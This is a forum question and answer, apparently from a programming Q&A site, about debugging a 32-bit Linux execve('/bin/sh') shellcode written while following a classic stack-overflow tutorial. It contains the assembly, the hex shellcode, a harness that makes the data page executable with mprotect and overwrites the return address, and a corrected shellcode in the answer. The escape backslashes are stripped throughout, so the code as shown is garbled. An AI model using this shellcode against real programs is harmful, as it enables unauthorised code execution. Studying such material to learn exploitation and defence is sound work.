hex code implementation for spawning a shell

I am trying to implement the codes given in smashing the stack for fun and profit by Aleph to learn the basics of buffer overflow attacks.

Machine architecture: Ubuntu 12.10 64 bit

programs compiled using -m32 flag in gcc

So far, I have managed to spawn a shell using the assembly instructions. The next step is to convert those instructions into hexadecimal code, where I have encountered this problem. The assembly code for spawning the shell:

void main() {
     __asm__(
        "Start:"
        "jmp    CallCodent"
        "CallPop:"                    
        "popl   %esint"
        "movl   %esi,0x8(%esp)nt"           
        "xorl   %eax,%eaxnt"                
        "movb   %al,0x7(%esp)nt"      
        "movl   %eax,0xc(%esp)nt"           
        "movb   $0xb,%alnt"                 
        "movl   %esi,%ebxnt"                
        "leal   0x8(%esp),%ecxnt"           
        "leal   0xc(%esp),%edxnt"           
        "int    $0x80nt"                    
        "xorl   %ebx,%ebxnt"                
        "movl   %ebx,%eaxnt"                
        "inc    %eaxnt"                     
        "int    $0x80nt"
        "CallCode:"                   
        "call   CallPopnt"                    
        ".string "/bin/sh"nt"
        );
 }

Corresponding hex code is:

#include <sys/mman.h>
#include<stdio.h>

#define PAGE_SIZE 4096U

char shellcode[] = "xebx24x5ex89x74x24x08x31xc0x88x44x24x07x89x44x24x0cxb0"
"x0bx89xf3x8dx4cx24x08x8dx54x24x0cxcd"
"x80x31x89xd8x40xcdx80xe8xd7xffxffxff/bin/sh";


void test_shellcode() {

    int *ret;

    // The data section is non-executable
    // Change protection bits for the page containing our shellcode

    mprotect((void *)((unsigned int)shellcode & ~(PAGE_SIZE - 1)), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC);

    ret = (int*)((char *)&ret + 16);
    (*ret) = (int)shellcode;
}

int main() {
    test_shellcode();   
    return 0;
} 

A bit of analysis using GDB Debugger led me to these results:

(gdb) run
Starting program: /home/peps/CCPP/Hello/testsc3 

Program received signal SIGILL, Illegal instruction.
0x0804a067 in shellcode ()
(gdb) x/s 0x0804a067
0x804a067 <shellcode+39>:   "377377377/bin/sh"

After applying breakpoints, I think the problem lies somewhere in the hex code, which I have not been able to figure out. Also, I don’t seem to understand the context of Illegal instruction here.

Any help would be appreciated.

Answer

You made a couple of mistakes in your shellcode.

char shellcode[] = 
"xebx24x5ex89x74x24x08x31"
"xc0x88x44x24x07x89x44x24"
"x0cxb0x0bx89xf3x8dx4cx24"
"x08x8dx54x24x0cxcdx80x31"
"xdbx89xd8x40xcdx80xe8xd7"
"xffxffxff/bin/sh";